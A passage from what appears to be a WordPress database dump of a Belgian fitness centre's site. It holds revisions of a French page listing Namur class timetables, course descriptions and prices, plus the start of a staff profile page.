class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-01-18 19:07:48', '2014-01-18 19:07:48', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(418, 1, '2014-01-18 19:09:02', '2014-01-18 19:09:02', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-01-18 19:09:02', '2014-01-18 19:09:02', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(419, 1, '2014-01-18 19:11:50', '2014-01-18 19:11:50', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-01-18 19:11:50', '2014-01-18 19:11:50', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(420, 1, '2014-01-20 20:38:05', '2014-01-20 20:38:05', '', 'youssra_boujat_pti', '', 'inherit', 'open', 'open', '', 'youssra_boujat_pti', '', '', '2014-01-20 20:38:05', '2014-01-20 20:38:05', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/youssra_boujat_pti.jpg', 0, 'attachment', 'image/jpeg', 0),
(421, 1, '2014-01-20 20:38:29', '2014-01-20 20:38:29', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; 